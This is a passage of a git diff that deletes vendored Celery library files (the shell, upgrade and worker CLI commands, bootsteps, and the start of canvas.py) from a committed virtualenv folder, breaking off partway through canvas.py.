help_group="Shell Options", - help="Force bpython.") -@click.option('--python', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Force default Python shell.") -@click.option('-T', - '--without-tasks', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Don't add tasks to locals.") -@click.option('--eventlet', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Use eventlet.") -@click.option('--gevent', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Use gevent.") -@click.pass_context -@handle_preload_options -def shell(ctx, ipython=False, bpython=False, - python=False, without_tasks=False, eventlet=False, - gevent=False, **kwargs): - """Start shell session with convenient access to celery symbols. - - The following symbols will be added to the main globals: - - ``celery``: the current application. - - ``chord``, ``group``, ``chain``, ``chunks``, - ``xmap``, ``xstarmap`` ``subtask``, ``Task`` - - all registered tasks. - """ - sys.path.insert(0, os.getcwd()) - if eventlet: - import_module('celery.concurrency.eventlet') - if gevent: - import_module('celery.concurrency.gevent') - import celery - app = ctx.obj.app - app.loader.import_default_modules() - - # pylint: disable=attribute-defined-outside-init - locals = { - 'app': app, - 'celery': app, - 'Task': celery.Task, - 'chord': celery.chord, - 'group': celery.group, - 'chain': celery.chain, - 'chunks': celery.chunks, - 'xmap': celery.xmap, - 'xstarmap': celery.xstarmap, - 'subtask': celery.subtask, - 'signature': celery.signature, - } - - if not without_tasks: - locals.update({ - task.__name__: task for task in app.tasks.values() - if not task.name.startswith('celery.') - }) - - if python: - _invoke_fallback_shell(locals) - elif bpython: - try: - _invoke_bpython_shell(locals) - except ImportError: - ctx.obj.echo(f'{ctx.obj.ERROR}: bpython is not installed') - elif ipython: - try: - _invoke_ipython_shell(locals) - except ImportError as e: - ctx.obj.echo(f'{ctx.obj.ERROR}: {e}') - _invoke_default_shell(locals) diff --git a/venv/Lib/site-packages/celery/bin/upgrade.py b/venv/Lib/site-packages/celery/bin/upgrade.py deleted file mode 100644 index bbfdb0441f218152151ec21b8399e9b0c5260fb7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/upgrade.py +++ /dev/null @@ -1,91 +0,0 @@ -"""The ``celery upgrade`` command, used to upgrade from previous versions.""" -import codecs -import sys - -import click - -from celery.app import defaults -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options -from celery.utils.functional import pass1 - - -@click.group() -@click.pass_context -@handle_preload_options -def upgrade(ctx): - """Perform upgrade between versions.""" - - -def _slurp(filename): - # TODO: Handle case when file does not exist - with codecs.open(filename, 'r', 'utf-8') as read_fh: - return [line for line in read_fh] - - -def _compat_key(key, namespace='CELERY'): - key = key.upper() - if not key.startswith(namespace): - key = '_'.join([namespace, key]) - return key - - -def _backup(filename, suffix='.orig'): - lines = [] - backup_filename = ''.join([filename, suffix]) - print(f'writing backup to {backup_filename}...', - file=sys.stderr) - with codecs.open(filename, 'r', 'utf-8') as read_fh: - with codecs.open(backup_filename, 'w', 'utf-8') as backup_fh: - for line in read_fh: - backup_fh.write(line) - lines.append(line) - return lines - - -def _to_new_key(line, keyfilter=pass1, source=defaults._TO_NEW_KEY): - # sort by length to avoid, for example, broker_transport overriding - # broker_transport_options. - for old_key in reversed(sorted(source, key=lambda x: len(x))): - new_line = line.replace(old_key, keyfilter(source[old_key])) - if line != new_line and 'CELERY_CELERY' not in new_line: - return 1, new_line # only one match per line. - return 0, line - - -@upgrade.command(cls=CeleryCommand) -@click.argument('filename') -@click.option('--django', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help='Upgrade Django project.') -@click.option('--compat', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help='Maintain backwards compatibility.') -@click.option('--no-backup', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help="Don't backup original files.") -def settings(filename, django, compat, no_backup): - """Migrate settings from Celery 3.x to Celery 4.x.""" - lines = _slurp(filename) - keyfilter = _compat_key if django or compat else pass1 - print(f'processing {filename}...', file=sys.stderr) - # gives list of tuples: ``(did_change, line_contents)`` - new_lines = [ - _to_new_key(line, keyfilter) for line in lines - ] - if any(n[0] for n in new_lines): # did have changes - if not no_backup: - _backup(filename) - with codecs.open(filename, 'w', 'utf-8') as write_fh: - for _, line in new_lines: - write_fh.write(line) - print('Changes to your setting have been made!', - file=sys.stdout) - else: - print('Does not seem to require any changes :-)', - file=sys.stdout) diff --git a/venv/Lib/site-packages/celery/bin/worker.py b/venv/Lib/site-packages/celery/bin/worker.py deleted file mode 100644 index f16dafba94f0732764ff158f0548809e6ae9d341..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/worker.py +++ /dev/null @@ -1,371 +0,0 @@ -"""Program used to start a Celery worker instance.""" - -import os -import sys - -import click -from click import ParamType -from click.types import StringParamType - -from celery import concurrency -from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, CeleryDaemonCommand, CeleryOption, - handle_preload_options) -from celery.concurrency.base import BasePool -from celery.exceptions import SecurityError -from celery.platforms import EX_FAILURE, EX_OK, detached, maybe_drop_privileges -from celery.utils.log import get_logger -from celery.utils.nodenames import default_nodename, host_format, node_format - -logger = get_logger(__name__) - - -class CeleryBeat(ParamType): - """Celery Beat flag.""" - - name = "beat" - - def convert(self, value, param, ctx): - if ctx.obj.app.IS_WINDOWS and value: - self.fail('-B option does not work on Windows. ' - 'Please run celery beat as a separate service.') - - return value - - -class WorkersPool(click.Choice): - """Workers pool option.""" - - name = "pool" - - def __init__(self): - """Initialize the workers pool option with the relevant choices.""" - super().__init__(concurrency.get_available_pool_names()) - - def convert(self, value, param, ctx): - # Pools like eventlet/gevent needs to patch libs as early - # as possible. - if isinstance(value, type) and issubclass(value, BasePool): - return value - - value = super().convert(value, param, ctx) - worker_pool = ctx.obj.app.conf.worker_pool - if value == 'prefork' and worker_pool: - # If we got the default pool through the CLI - # we need to check if the worker pool was configured. - # If the worker pool was configured, we shouldn't use the default. - value = concurrency.get_implementation(worker_pool) - else: - value = concurrency.get_implementation(value) - - if not value: - value = concurrency.get_implementation(worker_pool) - - return value - - -class Hostname(StringParamType): - """Hostname option.""" - - name = "hostname" - - def convert(self, value, param, ctx): - return host_format(default_nodename(value)) - - -class Autoscale(ParamType): - """Autoscaling parameter.""" - - name = ", " - - def convert(self, value, param, ctx): - value = value.split(',') - - if len(value) > 2: - self.fail("Expected two comma separated integers or one integer." - f"Got {len(value)} instead.") - - if len(value) == 1: - try: - value = (int(value[0]), 0) - except ValueError: - self.fail(f"Expected an integer. Got {value} instead.") - - try: - return tuple(reversed(sorted(map(int, value)))) - except ValueError: - self.fail("Expected two comma separated integers." - f"Got {value.join(',')} instead.") - - -CELERY_BEAT = CeleryBeat() -WORKERS_POOL = WorkersPool() -HOSTNAME = Hostname() -AUTOSCALE = Autoscale() - -C_FAKEFORK = os.environ.get('C_FAKEFORK') - - -def detach(path, argv, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, fake=False, app=None, - executable=None, hostname=None): - """Detach program by argv.""" - fake = 1 if C_FAKEFORK else fake - # `detached()` will attempt to touch the logfile to confirm that error - # messages won't be lost after detaching stdout/err, but this means we need - # to pre-format it rather than relying on `setup_logging_subsystem()` like - # we can elsewhere. - logfile = node_format(logfile, hostname) - with detached(logfile, pidfile, uid, gid, umask, workdir, fake, - after_forkers=False): - try: - if executable is not None: - path = executable - os.execv(path, [path] + argv) - return EX_OK - except Exception: # pylint: disable=broad-except - if app is None: - from celery import current_app - app = current_app - app.log.setup_logging_subsystem( - 'ERROR', logfile, hostname=hostname) - logger.critical("Can't exec %r", ' '.join([path] + argv), - exc_info=True) - return EX_FAILURE - - -@click.command(cls=CeleryDaemonCommand, - context_settings={'allow_extra_args': True}) -@click.option('-n', - '--hostname', - default=host_format(default_nodename(None)), - cls=CeleryOption, - type=HOSTNAME, - help_group="Worker Options", - help="Set custom hostname (e.g., 'w1@%%h'). " - "Expands: %%h (hostname), %%n (name) and %%d, (domain).") -@click.option('-D', - '--detach', - cls=CeleryOption, - is_flag=True, - default=False, - help_group="Worker Options", - help="Start worker as a background process.") -@click.option('-S', - '--statedb', - cls=CeleryOption, - type=click.Path(), - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_state_db, - help_group="Worker Options", - help="Path to the state database. The extension '.db' may be " - "appended to the filename.") -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Worker Options", - help="Logging level.") -@click.option('-O', - '--optimization', - default='default', - cls=CeleryOption, - type=click.Choice(('default', 'fair')), - help_group="Worker Options", - help="Apply optimization profile.") -@click.option('--prefetch-multiplier', - type=int, - metavar="", - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_prefetch_multiplier, - cls=CeleryOption, - help_group="Worker Options", - help="Set custom prefetch multiplier value " - "for this worker instance.") -@click.option('--disable-prefetch', - is_flag=True, - default=None, - callback=lambda ctx, _, - value: ctx.obj.app.conf.worker_disable_prefetch if value is None else value, - cls=CeleryOption, - help_group="Worker Options", - help="Disable broker prefetching. The worker will only fetch a task when a process slot is available. " - "Only supported with Redis brokers.") -@click.option('-c', - '--concurrency', - type=int, - metavar="", - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_concurrency, - cls=CeleryOption, - help_group="Pool Options", - help="Number of child processes processing the queue. " - "The default is the number of CPUs available" - " on your system.") -@click.option('-P', - '--pool', - default='prefork', - type=WORKERS_POOL, - cls=CeleryOption, - help_group="Pool Options", - help="Pool implementation.") -@click.option('-E', - '--task-events', - '--events', - is_flag=True, - default=None, - cls=CeleryOption, - help_group="Pool Options", - help="Send task-related events that can be captured by monitors" - " like celery events, celerymon, and others.") -@click.option('--time-limit', - type=float, - cls=CeleryOption, - help_group="Pool Options", - help="Enables a hard time limit " - "(in seconds int/float) for tasks.") -@click.option('--soft-time-limit', - type=float, - cls=CeleryOption, - help_group="Pool Options", - help="Enables a soft time limit " - "(in seconds int/float) for tasks.") -@click.option('--max-tasks-per-child', - type=int, - cls=CeleryOption, - help_group="Pool Options", - help="Maximum number of tasks a pool worker can execute before " - "it's terminated and replaced by a new worker.") -@click.option('--max-memory-per-child', - type=int, - cls=CeleryOption, - help_group="Pool Options", - help="Maximum amount of resident memory, in KiB, that may be " - "consumed by a child process before it will be replaced " - "by a new one. If a single task causes a child process " - "to exceed this limit, the task will be completed and " - "the child process will be replaced afterwards.\n" - "Default: no limit.") -@click.option('--purge', - '--discard', - is_flag=True, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--queues', - '-Q', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--exclude-queues', - '-X', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--include', - '-I', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--without-gossip', - is_flag=True, - cls=CeleryOption, - help_group="Features") -@click.option('--without-mingle', - is_flag=True, - cls=CeleryOption, - help_group="Features") -@click.option('--without-heartbeat', - is_flag=True, - cls=CeleryOption, - help_group="Features", ) -@click.option('--heartbeat-interval', - type=int, - cls=CeleryOption, - help_group="Features", ) -@click.option('--autoscale', - type=AUTOSCALE, - cls=CeleryOption, - help_group="Features", ) -@click.option('-B', - '--beat', - type=CELERY_BEAT, - cls=CeleryOption, - is_flag=True, - help_group="Embedded Beat Options") -@click.option('-s', - '--schedule-filename', - '--schedule', - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.beat_schedule_filename, - cls=CeleryOption, - help_group="Embedded Beat Options") -@click.option('--scheduler', - cls=CeleryOption, - help_group="Embedded Beat Options") -@click.pass_context -@handle_preload_options -def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, - loglevel=None, logfile=None, pidfile=None, statedb=None, - **kwargs): - """Start worker instance. - - \b - Examples - -------- - - \b - $ celery --app=proj worker -l INFO - $ celery -A proj worker -l INFO -Q hipri,lopri - $ celery -A proj worker --concurrency=4 - $ celery -A proj worker --concurrency=1000 -P eventlet - $ celery worker --autoscale=10,0 - - """ - try: - app = ctx.obj.app - if 'disable_prefetch' in kwargs and kwargs['disable_prefetch'] is not None: - app.conf.worker_disable_prefetch = kwargs.pop('disable_prefetch') - if ctx.args: - try: - app.config_from_cmdline(ctx.args, namespace='worker') - except (KeyError, ValueError) as e: - # TODO: Improve the error messages - raise click.UsageError( - "Unable to parse extra configuration from command line.\n" - f"Reason: {e}", ctx=ctx) - if kwargs.get('detach', False): - argv = ['-m', 'celery'] + sys.argv[1:] - if '--detach' in argv: - argv.remove('--detach') - if '-D' in argv: - argv.remove('-D') - if "--uid" in argv: - argv.remove('--uid') - if "--gid" in argv: - argv.remove('--gid') - - return detach(sys.executable, - argv, - logfile=logfile, - pidfile=pidfile, - uid=uid, gid=gid, - umask=kwargs.get('umask', None), - workdir=kwargs.get('workdir', None), - app=app, - executable=kwargs.get('executable', None), - hostname=hostname) - - maybe_drop_privileges(uid=uid, gid=gid) - worker = app.Worker( - hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, - logfile=logfile, # node format handled by celery.app.log.setup - pidfile=node_format(pidfile, hostname), - statedb=node_format(statedb, hostname), - no_color=ctx.obj.no_color, - quiet=ctx.obj.quiet, - **kwargs) - worker.start() - ctx.exit(worker.exitcode) - except SecurityError as e: - ctx.obj.error(e.args[0]) - ctx.exit(1) diff --git a/venv/Lib/site-packages/celery/bootsteps.py b/venv/Lib/site-packages/celery/bootsteps.py deleted file mode 100644 index dcd2dc0875a430bff0d6a7297723d41b9bfec6cf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bootsteps.py +++ /dev/null @@ -1,415 +0,0 @@ -"""A directed acyclic graph of reusable components.""" - -from collections import deque -from threading import Event - -from kombu.common import ignore_errors -from kombu.utils.encoding import bytes_to_str -from kombu.utils.imports import symbol_by_name - -from .utils.graph import DependencyGraph, GraphFormatter -from .utils.imports import instantiate, qualname -from .utils.log import get_logger - -try: - from greenlet import GreenletExit -except ImportError: - IGNORE_ERRORS = () -else: - IGNORE_ERRORS = (GreenletExit,) - -__all__ = ('Blueprint', 'Step', 'StartStopStep', 'ConsumerStep') - -#: States -RUN = 0x1 -CLOSE = 0x2 -TERMINATE = 0x3 - -logger = get_logger(__name__) - - -def _pre(ns, fmt): - return f'| {ns.alias}: {fmt}' - - -def _label(s): - return s.name.rsplit('.', 1)[-1] - - -class StepFormatter(GraphFormatter): - """Graph formatter for :class:`Blueprint`.""" - - blueprint_prefix = '⧉' - conditional_prefix = '∘' - blueprint_scheme = { - 'shape': 'parallelogram', - 'color': 'slategray4', - 'fillcolor': 'slategray3', - } - - def label(self, step): - return step and '{}{}'.format( - self._get_prefix(step), - bytes_to_str( - (step.label or _label(step)).encode('utf-8', 'ignore')), - ) - - def _get_prefix(self, step): - if step.last: - return self.blueprint_prefix - if step.conditional: - return self.conditional_prefix - return '' - - def node(self, obj, **attrs): - scheme = self.blueprint_scheme if obj.last else self.node_scheme - return self.draw_node(obj, scheme, attrs) - - def edge(self, a, b, **attrs): - if a.last: - attrs.update(arrowhead='none', color='darkseagreen3') - return self.draw_edge(a, b, self.edge_scheme, attrs) - - -class Blueprint: - """Blueprint containing bootsteps that can be applied to objects. - - Arguments: - steps Sequence[Union[str, Step]]: List of steps. - name (str): Set explicit name for this blueprint. - on_start (Callable): Optional callback applied after blueprint start. - on_close (Callable): Optional callback applied before blueprint close. - on_stopped (Callable): Optional callback applied after - blueprint stopped. - """ - - GraphFormatter = StepFormatter - - name = None - state = None - started = 0 - default_steps = set() - state_to_name = { - 0: 'initializing', - RUN: 'running', - CLOSE: 'closing', - TERMINATE: 'terminating', - } - - def __init__(self, steps=None, name=None, - on_start=None, on_close=None, on_stopped=None): - self.name = name or self.name or qualname(type(self)) - self.types = set(steps or []) | set(self.default_steps) - self.on_start = on_start - self.on_close = on_close - self.on_stopped = on_stopped - self.shutdown_complete = Event() - self.steps = {} - - def start(self, parent): - self.state = RUN - if self.on_start: - self.on_start() - for i, step in enumerate(s for s in parent.steps if s is not None): - self._debug('Starting %s', step.alias) - self.started = i + 1 - step.start(parent) - logger.debug('^-- substep ok') - - def human_state(self): - return self.state_to_name[self.state or 0] - - def info(self, parent): - info = {} - for step in parent.steps: - info.update(step.info(parent) or {}) - return info - - def close(self, parent): - if self.on_close: - self.on_close() - self.send_all(parent, 'close', 'closing', reverse=False) - - def restart(self, parent, method='stop', - description='restarting', propagate=False): - self.send_all(parent, method, description, propagate=propagate) - - def send_all(self, parent, method, - description=None, reverse=True, propagate=True, args=()): - description = description or method.replace('_', ' ') - steps = reversed(parent.steps) if reverse else parent.steps - for step in steps: - if step: - fun = getattr(step, method, None) - if fun is not None: - self._debug('%s %s...', - description.capitalize(), step.alias) - try: - fun(parent, *args) - except Exception as exc: # pylint: disable=broad-except - if propagate: - raise - logger.exception( - 'Error on %s %s: %r', description, step.alias, exc) - - def stop(self, parent, close=True, terminate=False): - what = 'terminating' if terminate else 'stopping' - if self.state in (CLOSE, TERMINATE): - return - - if self.state != RUN or self.started != len(parent.steps): - # Not fully started, can safely exit. - self.state = TERMINATE - self.shutdown_complete.set() - return - self.close(parent) - self.state = CLOSE - - self.restart( - parent, 'terminate' if terminate else 'stop', - description=what, propagate=False, - ) - - if self.on_stopped: - self.on_stopped() - self.state = TERMINATE - self.shutdown_complete.set() - - def join(self, timeout=None): - try: - # Will only get here if running green, - # makes sure all greenthreads have exited. - self.shutdown_complete.wait(timeout=timeout) - except IGNORE_ERRORS: - pass - - def apply(self, parent, **kwargs): - """Apply the steps in this blueprint to an object. - - This will apply the ``__init__`` and ``include`` methods - of each step, with the object as argument:: - - step = Step(obj) - ... - step.include(obj) - - For :class:`StartStopStep` the services created - will also be added to the objects ``steps`` attribute. - """ - self._debug('Preparing bootsteps.') - order = self.order = [] - steps = self.steps = self.claim_steps() - - self._debug('Building graph...') - for S in self._finalize_steps(steps): - step = S(parent, **kwargs) - steps[step.name] = step - order.append(step) - self._debug('New boot order: {%s}', - ', '.join(s.alias for s in self.order)) - for step in order: - step.include(parent) - return self - - def connect_with(self, other): - self.graph.adjacent.update(other.graph.adjacent) - self.graph.add_edge(type(other.order[0]), type(self.order[-1])) - - def __getitem__(self, name): - return self.steps[name] - - def _find_last(self): - return next((C for C in self.steps.values() if C.last), None) - - def _firstpass(self, steps): - for step in steps.values(): - step.requires = [symbol_by_name(dep) for dep in step.requires] - stream = deque(step.requires for step in steps.values()) - while stream: - for node in stream.popleft(): - node = symbol_by_name(node) - if node.name not in self.steps: - steps[node.name] = node - stream.append(node.requires) - - def _finalize_steps(self, steps): - last = self._find_last() - self._firstpass(steps) - it = ((C, C.requires) for C in steps.values()) - G = self.graph = DependencyGraph( - it, formatter=self.GraphFormatter(root=last), - ) - if last: - for obj in G: - if obj != last: - G.add_edge(last, obj) - try: - return G.topsort() - except KeyError as exc: - raise KeyError('unknown bootstep: %s' % exc) - - def claim_steps(self): - return dict(self.load_step(step) for step in self.types) - - def load_step(self, step): - step = symbol_by_name(step) - return step.name, step - - def _debug(self, msg, *args): - return logger.debug(_pre(self, msg), *args) - - @property - def alias(self): - return _label(self) - - -class StepType(type): - """Meta-class for steps.""" - - name = None - requires = None - - def __new__(cls, name, bases, attrs): - module = attrs.get('__module__') - qname = f'{module}.{name}' if module else name - attrs.update( - __qualname__=qname, - name=attrs.get('name') or qname, - ) - return super().__new__(cls, name, bases, attrs) - - def __str__(cls): - return cls.name - - def __repr__(cls): - return 'step:{0.name}{{{0.requires!r}}}'.format(cls) - - -class Step(metaclass=StepType): - """A Bootstep. - - The :meth:`__init__` method is called when the step - is bound to a parent object, and can as such be used - to initialize attributes in the parent object at - parent instantiation-time. - """ - - #: Optional step name, will use ``qualname`` if not specified. - name = None - - #: Optional short name used for graph outputs and in logs. - label = None - - #: Set this to true if the step is enabled based on some condition. - conditional = False - - #: List of other steps that must be started before this step. - #: Note that all dependencies must be in the same blueprint. - requires = () - - #: This flag is reserved for the workers Consumer, - #: since it is required to always be started last. - #: There can only be one object marked last - #: in every blueprint. - last = False - - #: This provides the default for :meth:`include_if`. - enabled = True - - def __init__(self, parent, **kwargs): - pass - - def include_if(self, parent): - """Return true if bootstep should be included. - - You can define this as an optional predicate that decides whether - this step should be created. - """ - return self.enabled - - def instantiate(self, name, *args, **kwargs): - return instantiate(name, *args, **kwargs) - - def _should_include(self, parent): - if self.include_if(parent): - return True, self.create(parent) - return False, None - - def include(self, parent): - return self._should_include(parent)[0] - - def create(self, parent): - """Create the step.""" - - def __repr__(self): - return f'' - - @property - def alias(self): - return self.label or _label(self) - - def info(self, obj): - pass - - -class StartStopStep(Step): - """Bootstep that must be started and stopped in order.""" - - #: Optional obj created by the :meth:`create` method. - #: This is used by :class:`StartStopStep` to keep the - #: original service object. - obj = None - - def start(self, parent): - if self.obj: - return self.obj.start() - - def stop(self, parent): - if self.obj: - return self.obj.stop() - - def close(self, parent): - pass - - def terminate(self, parent): - if self.obj: - return getattr(self.obj, 'terminate', self.obj.stop)() - - def include(self, parent): - inc, ret = self._should_include(parent) - if inc: - self.obj = ret - parent.steps.append(self) - return inc - - -class ConsumerStep(StartStopStep): - """Bootstep that starts a message consumer.""" - - requires = ('celery.worker.consumer:Connection',) - consumers = None - - def get_consumers(self, channel): - raise NotImplementedError('missing get_consumers') - - def start(self, c): - channel = c.connection.channel() - self.consumers = self.get_consumers(channel) - for consumer in self.consumers or []: - consumer.consume() - - def stop(self, c): - self._close(c, True) - - def shutdown(self, c): - self._close(c, False) - - def _close(self, c, cancel_consumers=True): - channels = set() - for consumer in self.consumers or []: - if cancel_consumers: - ignore_errors(c.connection, consumer.cancel) - if consumer.channel: - channels.add(consumer.channel) - for channel in channels: - ignore_errors(c.connection, channel.close) diff --git a/venv/Lib/site-packages/celery/canvas.py b/venv/Lib/site-packages/celery/canvas.py deleted file mode 100644 index 5d701839c1f6a6723fbddbb8cb6480fb047fd2b7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/canvas.py +++ /dev/null @@ -1,2420 +0,0 @@ -"""Composing task work-flows. - -.. seealso: - - You should import these from :mod:`celery` and not this module. -""" - -import itertools -import operator -import warnings -from abc import ABCMeta, abstractmethod -from collections import deque -from collections.abc import MutableSequence -from copy import deepcopy -from functools import partial as _partial -from functools import reduce -from operator import itemgetter -from types import GeneratorType - -from kombu.utils.functional import fxrange, reprcall -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid -from vine import barrier - -from celery._state import current_app -from celery.exceptions import CPendingDeprecationWarning -from celery.result import GroupResult, allow_join_result -from celery.utils import abstract -from celery.utils.collections import ChainMap -from celery.utils.functional import _regen -from celery.utils.functional import chunks as _chunks -from celery.utils.functional import is_list, maybe_list, regen, seq_concat_item, seq_concat_seq -from celery.utils.objects import getitem_property -from celery.utils.text import remove_repeating_from_task, truncate - -__all__ = ( - 'Signature', 'chain', 'xmap', 'xstarmap', 'chunks', - 'group', 'chord', 'signature', 'maybe_signature', -) - - -def maybe_unroll_group(group): - """Unroll group with only one member. - This allows treating a group of a single task as if it - was a single task without pre-knowledge.""" - # Issue #1656 - try: - size = len(group.tasks) - except TypeError: - try: - size = group.tasks.__length_hint__() - except (AttributeError, TypeError): - return group - else: - return list(group.tasks)[0] if size == 1 else group - else: - return group.tasks[0] if size == 1 else group - - -def task_name_from(task): - return getattr(task, 'name', task) - - -def _stamp_regen_task(task, visitor, append_stamps, **headers): - """When stamping a sequence of tasks created by a generator, - we use this function to stamp each task in the generator - without exhausting it.""" - - task.stamp(visitor, append_stamps, **headers) - return task - - -def _merge_dictionaries(d1, d2, aggregate_duplicates=True): - """Merge two dictionaries recursively into the first one. - - Example: - >>> d1 = {'dict': {'a': 1}, 'list': [1, 2], 'tuple': (1, 2)} - >>> d2 = {'dict': {'b': 2}, 'list': [3, 4], 'set': {'a', 'b'}} - >>> _merge_dictionaries(d1, d2) - - d1 will be modified to: { - 'dict': {'a': 1, 'b': 2}, - 'list': [1, 2, 3, 4], - 'tuple': (1, 2), - 'set': {'a', 'b'} - } - - Arguments: - d1 (dict): Dictionary to merge into. - d2 (dict): Dictionary to merge from. - aggregate_duplicates (bool): - If True, aggregate duplicated items (by key) into a list of all values in d1 in the same key. - If False, duplicate keys will be taken from d2 and override the value in d1. - """ - if not d2: - return - - for key, value in d1.items(): - if key in d2: - if isinstance(value, dict): - _merge_dictionaries(d1[key], d2[key]) - else: - if isinstance(value, (int, float, str)): - d1[key] = [value] if aggregate_duplicates else value - if isinstance(d2[key], list) and isinstance(d1[key], list): - d1[key].extend(d2[key]) - elif aggregate_duplicates: - if d1[key] is None: - d1[key] = [] - else: - d1[key] = list(d1[key]) - d1[key].append(d2[key]) - for key, value in d2.items(): - if key not in d1: - d1[key] = value - - -class StampingVisitor(metaclass=ABCMeta): - """Stamping API. A class that provides a stamping API possibility for - canvas primitives. If you want to implement stamping behavior for - a canvas primitive override method that represents it. - """ - - def on_group_start(self, group, **headers) -> dict: - """Method that is called on group stamping start. - - Arguments: - group (group): Group that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_group_end(self, group, **headers) -> None: - """Method that is called on group stamping end. - - Arguments: - group (group): Group that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - pass - - def on_chain_start(self, chain, **headers) -> dict: - """Method that is called on chain stamping start. - - Arguments: - chain (chain): Chain that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_chain_end(self, chain, **headers) -> None: - """Method that is called on chain stamping end. - - Arguments: - chain (chain): Chain that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - pass - - @abstractmethod - def on_signature(self, sig, **headers) -> dict: - """Method that is called on signature stamping. - - Arguments: - sig (Signature): Signature that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - - def on_chord_header_start(self, sig, **header) -> dict: - """Method that is called on сhord header stamping start. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - if not isinstance(sig.tasks, group): - sig.tasks = group(sig.tasks) - return self.on_group_start(sig.tasks, **header) - - def on_chord_header_end(self, sig, **header) -> None: - """Method that is called on сhord header stamping end. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - """ - self.on_group_end(sig.tasks, **header) - - def on_chord_body(self, sig, **header) -> dict: - """Method that is called on chord body stamping. - - Arguments: - sig (chord): chord that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_callback(self, callback, **header) -> dict: - """Method that is called on callback stamping. - - Arguments: - callback (Signature): callback that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - def on_errback(self, errback, **header) -> dict: - """Method that is called on errback stamping. - - Arguments: - errback (Signature): errback that is stamped. - headers (Dict): Partial headers that could be merged with existing headers. - Returns: - Dict: headers to update. - """ - return {} - - -@abstract.CallableSignature.register -class Signature(dict): - """Task Signature. - - Class that wraps the arguments and execution options - for a single task invocation. - - Used as the parts in a :class:`group` and other constructs, - or to pass tasks around as callbacks while being compatible - with serializers with a strict type subset. - - Signatures can also be created from tasks: - - - Using the ``.signature()`` method that has the same signature - as ``Task.apply_async``: - - .. code-block:: pycon - - >>> add.signature(args=(1,), kwargs={'kw': 2}, options={}) - - - or the ``.s()`` shortcut that works for star arguments: - - .. code-block:: pycon - - >>> add.s(1, kw=2) - - - the ``.s()`` shortcut does not allow you to specify execution options - but there's a chaining `.set` method that returns the signature: - - .. code-block:: pycon - - >>> add.s(2, 2).set(countdown=10).set(expires=30).delay() - - Note: - You should use :func:`~celery.signature` to create new signatures. - The ``Signature`` class is the type returned by that function and - should be used for ``isinstance`` checks for signatures. - - See Also: - :ref:`guide-canvas` for the complete guide. - - Arguments: - task (Union[Type[celery.app.task.Task], str]): Either a task - class/instance, or the name of a task. - args (Tuple): Positional arguments to apply. - kwargs (Dict): Keyword arguments to apply. - options (Dict): Additional options to :meth:`Task.apply_async`. - - Note: - If the first argument is a :class:`dict`, the other - arguments will be ignored and the values in the dict will be used - instead:: - - >>> s = signature('tasks.add', args=(2, 2)) - >>> signature(s) - {'task': 'tasks.add', args=(2, 2), kwargs={}, options={}} - """ - - TYPES = {} - _app = _type = None - # The following fields must not be changed during freezing/merging because - # to do so would disrupt completion of parent tasks - _IMMUTABLE_OPTIONS = {"group_id", "stamped_headers"} - - @classmethod - def register_type(cls, name=None): - """Register a new type of signature. - Used as a class decorator, for example: - >>> @Signature.register_type() - >>> class mysig(Signature): - >>> pass - """ - def _inner(subclass): - cls.TYPES[name or subclass.__name__] = subclass - return subclass - - return _inner - - @classmethod - def from_dict(cls, d, app=None): - """Create a new signature from a dict. - Subclasses can override this method to customize how are - they created from a dict. - """ - typ = d.get('subtask_type') - if typ: - target_cls = cls.TYPES[typ] - if target_cls is not cls: - return target_cls.from_dict(d, app=app) - return Signature(d, app=app) - - def __init__(self, task=None, args=None, kwargs=None, options=None, - type=None, subtask_type=None, immutable=False, - app=None, **ex): - self._app = app - - if isinstance(task, dict): - super().__init__(task) # works like dict(d) - else: - # Also supports using task class/instance instead of string name. - try: - task_name = task.name - except AttributeError: - task_name = task - else: - self._type = task - - super().__init__( - task=task_name, args=tuple(args or ()), - kwargs=kwargs or {}, - options=dict(options or {}, **ex), - subtask_type=subtask_type, - immutable=immutable, - ) - - def __call__(self, *partial_args, **partial_kwargs): - """Call the task directly (in the current process).""" - args, kwargs, _ = self._merge(partial_args, partial_kwargs, None) - return self.type(*args, **kwargs) - - def delay(self, 